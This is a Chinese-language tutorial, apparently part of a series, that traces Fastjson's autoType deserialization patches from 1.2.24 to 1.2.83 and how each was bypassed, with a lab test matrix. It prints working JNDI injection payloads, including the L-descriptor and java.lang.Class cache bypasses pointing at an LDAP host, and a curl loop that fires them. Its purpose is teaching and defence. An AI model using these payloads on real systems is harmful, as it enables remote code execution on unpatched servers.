
這一篇是本系列的核心從默認(rèn)能打到越來越難打每一個補丁改了什么、攻擊者怎么繞、為什么最終必須放棄 1.x 的 autoType 模型。所有結(jié)論都對應(yīng)配套靶場的實測矩陣lab/fastjson-lab/verify-output.txt引子一場持續(xù)七年、教科書級的打補丁—繞過戰(zhàn)爭Fastjson 的反序列化問題從 2017 年延續(xù)到 2022 年版本號從 1.2.24 一路補到 1.2.83。它不是一個 CVE 一個補丁而是一長串 CVE 和無數(shù)次繞過每修一個安全研究者就找到一個新寫法官方黑名單越長繞過的套路越多。這段歷史是理解為什么安全不能依賴黑名單的最好教材。幾個關(guān)鍵節(jié)點足以看出這場拉鋸的節(jié)奏1.2.24autoType 默認(rèn)開啟type直接打無需技巧1.2.25引入checkAutoType和黑名單autoType 默認(rèn)關(guān)閉——第一次防守1.2.41 / 1.2.42L...;類描述符繞過與修復(fù)1.2.47出現(xiàn)只靠 fastjson 自身、不依賴外部庫的通用緩存繞過影響極廣1.2.68官方加入safeMode并引入ExpectClass1.2.80官方公告承認(rèn)特定依賴存在下仍可繞過對應(yīng) CVE-2022-258451.2.83修復(fù)該繞過同時官方給出升 1.2.83 / 開 safeMode / 遷 fastjson2三條路。本篇不滿足于貼版本號而是用配套靶場的實測矩陣把哪個版本、哪種寫法能打一條條驗證出來再講清每次補丁改了什么、繞過為什么成立??炊缶蜁靼滓焉?1.2.80并不等于安全因為繞過取決于依賴樹里有什么 gadget。本篇要點L...;繞過為什么能生效它在利用哪個環(huán)節(jié)的不一致1.2.47 的緩存繞過 payload 里java.lang.Class到底干了什么為什么 1.2.62 之后通用 payload集體失效但系統(tǒng)仍可能不安全官方說的特定依賴存在下是什么意思對防守判斷有何影響safeMode 為什么沒有繞過一、先把靶場矩陣擺出來實測在靶場對每個版本發(fā)送同一批 payloadJNDI 目標(biāo)指向靶場內(nèi)置惡意 LDAP/HTTP 服務(wù)判定是否產(chǎn)生 JNDI 回調(diào)并執(zhí)行。matrix.py只是把逐版本重啟 發(fā)送 統(tǒng)計回調(diào)自動化不依賴腳本時按下面的循環(huán)手動做即可。cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f com.lab.fastjson.FastjsonLab; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-$v.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 換 classpath 里的版本 sleep 2 : /opt/jndi-server/callbacks.log # 清空回調(diào) curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} /dev/null echo $v 回調(diào)$(wc -l /opt/jndi-server/callbacks.log) # 回調(diào)0 即觸發(fā) done實測結(jié)果如下行payload列fastjson 版本RCE表示產(chǎn)生 JNDI 回調(diào)并執(zhí)行payload1.2.241.2.251.2.411.2.421.2.431.2.471.2.621.2.681.2.801.2.83direct直接寫危險類名RCEblockedblockedblockedblockedblockedblockedblockedblockedblockedL-prefixL...;描述符RCERCERCEblockedblockedblockedblockedblockedblockedblockedcache-Classjava.lang.Class緩存RCERCERCERCERCERCEblockedblockedblockedblockedexpectClassRCEblockedRCERCERCERCEblockedblockedblockedblockedthrowableRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-direct開 autoTypeRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-cache開 autoType緩存RCEblockedRCERCERCERCEblockedblockedblockedblocked讀表要點1.2.24 全綠autoType 默認(rèn)開啟無需技巧1.2.25 首回合防守direct被擋但L-prefix、cache-Class仍可繞1.2.42 修掉L-prefix但cache-Class仍通1.2.47 的cache-Class是只靠 fastjson 自身、不依賴外部庫的通用繞過1.2.62 起通用 payload 全部失效表中 payload 是通用的、只需要 fastjson 本身的寫法。后面會說明1.2.62 之后不是絕對安全而是繞過開始依賴項目里碰巧存在的第三方 gadget / 特定解析上下文通用性大幅下降。二、1.2.24 → 1.2.25守門函數(shù)登場1.2.24 及更早autoType 默認(rèn)開啟{type:com.sun.rowset.JdbcRowSetImpl,...}直接打無需任何技巧。1.2.25 的修復(fù)引入checkAutoType內(nèi)置一份黑名單且 autoType 默認(rèn)關(guān)閉。于是直接寫危險類名會得到ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl攻擊者的應(yīng)對黑名單只比對規(guī)范化后的類名而規(guī)范化邏輯不夠嚴(yán)。用類描述符寫法L...;即可讓黑名單比對失敗、而實際加載時又被還原{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:ldap://...,autoCommit:true}靶場實測 1.2.25、1.2.41 上確實能打L-prefix RCE。這就是軍備競賽的典型回合補丁修補的是類名比對繞過換的是類名長相。三、1.2.42修掉L...;但緩存漏洞已現(xiàn)1.2.42 在checkAutoType里把L/;的規(guī)范化補齊無論哪種路徑都先剝殼L-prefix隨之失效矩陣?yán)?1.2.42 的L-prefix變?yōu)閎locked。但 1.2.42~1.2.47 上另一種寫法仍然能打。這就是緩存繞過原理在上一篇講過——檢查順序里查緩存在查黑名單之前。緩存繞過 payload{ a: {type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}, b: {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://...,autoCommit:true} }逐段解釋解析a時type是java.lang.Class——這個類本身是允許的不是危險類。Fastjson 用MiscCodec處理它取val作為要加載的類名并把這個類放入TypeUtils的緩存映射于是com.sun.rowset.JdbcRowSetImpl被登記進(jìn)緩存解析b時checkAutoType第一步查緩存就命中了在黑名單檢查之前直接放行后續(xù)照舊觸發(fā) JNDI → RCE。Java 說明MiscCodecFastjson 處理特殊類型的內(nèi)置編解碼器。遇到type為java.lang.Class時它會讀取val字段把其中的類名加載成Class。TypeUtilsFastjson 的類型工具類內(nèi)部維護(hù)一張類名 → Class的映射緩存mappings。該繞過利用的正是檢查邏輯先查緩存、再查黑名單的順序缺陷只要先用java.lang.Class把危險類塞進(jìn)緩存后續(xù)檢查就會放行。因果總結(jié)這個繞過不依賴任何外部 gadget只需要 fastjson 一個Class類型屬性 兩個字段。所以在 1.2.47 上它被公認(rèn)為最通用的 autoType 繞過。靶場里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均為RCE驗證了這一點。為什么 1.2.62 之后不行了1.2.62 / 1.2.68 對緩存路徑也加了判斷不再是在緩存里就無條件放行危險類即便進(jìn)了緩存仍會被攔。矩陣?yán)?1.2.62 起cache-Class變?yōu)閎locked。四、1.2.68safeMode 與 ExpectClass1.2.68 有兩個重要變化引入 safeMode一旦開啟無論黑白名單都不支持 autoType等于徹底關(guān)掉這條攻擊面。這是防守方目前最穩(wěn)的亡羊補牢。引入ExpectClass期望類型機(jī)制當(dāng)解析上下文已經(jīng)知道期望的類型時如果type指定的類是其子類/實現(xiàn)可能被放行。ExpectClass本身是為了兼容泛型/接口多態(tài)但它帶來了新的繞過思路讓解析上下文期望一個寬泛的接口比如java.lang.AutoCloseable再讓type指向?qū)崿F(xiàn)了該接口的危險類。注意這類繞過不是萬能 payload它要求業(yè)務(wù)代碼恰好以帶期望類型的方式解析例如parseObject(json, SomeWrapper.class)而SomeWrapper的字段類型是某個接口。在本靶場的/parse無期望類型下無法復(fù)現(xiàn)ExpectClass繞過——矩陣?yán)飁xpectClass在 1.2.68 為blocked。這恰恰說明一個重要事實1.2.68 之后的繞過是條件化的和業(yè)務(wù)代碼的解析方式強(qiáng)相關(guān)不再是一條 payload 通吃。五、1.2.80 與 CVE-2022-25845依賴型繞過2022 年 5 月Fastjson 官方發(fā)布安全公告wiki:security_update_20220523原文要點近日 Fastjson Develop Team 發(fā)現(xiàn) fastjson 1.2.80 及以下存在新的風(fēng)險……特定依賴存在下影響 ≤1.2.80建議升級 1.2.83或開啟 safeMode或使用 fastjson v2。關(guān)鍵詞是特定依賴存在下。也就是說這個繞過需要一個項目里恰好存在的第三方 gadget 類屬于某個依賴庫且能觸發(fā)危險行為來配合它不是只要用 fastjson 1.2.80 就能打沒有對應(yīng)依賴就打不動因此在本靶場的最小依賴fastjson 少量 gadget 庫下矩陣?yán)?1.2.80 的通用 payload 全部blocked。額外試過依賴型 gadget如 xbean 的JndiConverter在 1.2.68 默認(rèn)配置下同樣被攔。這個事實對防守方的啟示是已升到 1.2.80并不等于安全因為依賴樹里有什么 gadget攻擊者比使用者更清楚。1.2.83 才修復(fù)了該次繞過且官方明確建議遷移 fastjson2。六、1.2.83 與通用 payload 的終結(jié)1.2.83 的效果矩陣?yán)锼型ㄓ?payload 全部blocked。同時官方給出三條路升級到 1.2.83有 autoType 行為變更可能不兼容開啟 safeMode1.2.68完全關(guān)閉 autoType最穩(wěn)但可能影響業(yè)務(wù)遷移 fastjson v2重寫版本不再為兼容保留白名單安全模型不同。到這一步1.x 的 autoType 模型已經(jīng)補丁疊補丁官方也承認(rèn)這套設(shè)計本身是負(fù)擔(dān)?,F(xiàn)代項目的正確答案不是打補丁到最新 1.x而是上 fastjson2 或換 Jackson 并關(guān)閉多態(tài)反序列化。七、為什么繞過注定條件化把整場軍備競賽抽象一下黑名單比對類名 - 繞換個類名長相L...; 黑名單 規(guī)范化 - 繞走緩存讓檢查在命中黑名單前就放行 修緩存路徑 - 繞換依賴庫里的等價 gadget項目恰好有這個依賴 加 ExpectClass 限制 - 繞利用業(yè)務(wù)帶期望類型的解析上下文 safeMode - 沒有繞過因為直接不看黑白名單了規(guī)律只要類名可由輸入決定這個根還在攻防就永遠(yuǎn)在追補丁safeMode/fastjson2 是拔掉根所以沒有繞過。這就是下一篇要講的現(xiàn)代方向。八、自測L...;繞過能生效是因為黑名單和實際加載用了不同的類名規(guī)范化——請解釋這句話。緩存繞過為什么能跳過黑名單它的 payload 里java.lang.Class起了什么作用為什么 1.2.68 之后的繞過和業(yè)務(wù)解析方式強(qiáng)相關(guān)舉一個ExpectClass繞過的前提。官方公告說特定依賴存在下影響 ≤1.2.80這句話對防守方的判斷意味著什么safeMode 為什么沒有繞過它和黑名單在原理上有什么根本區(qū)別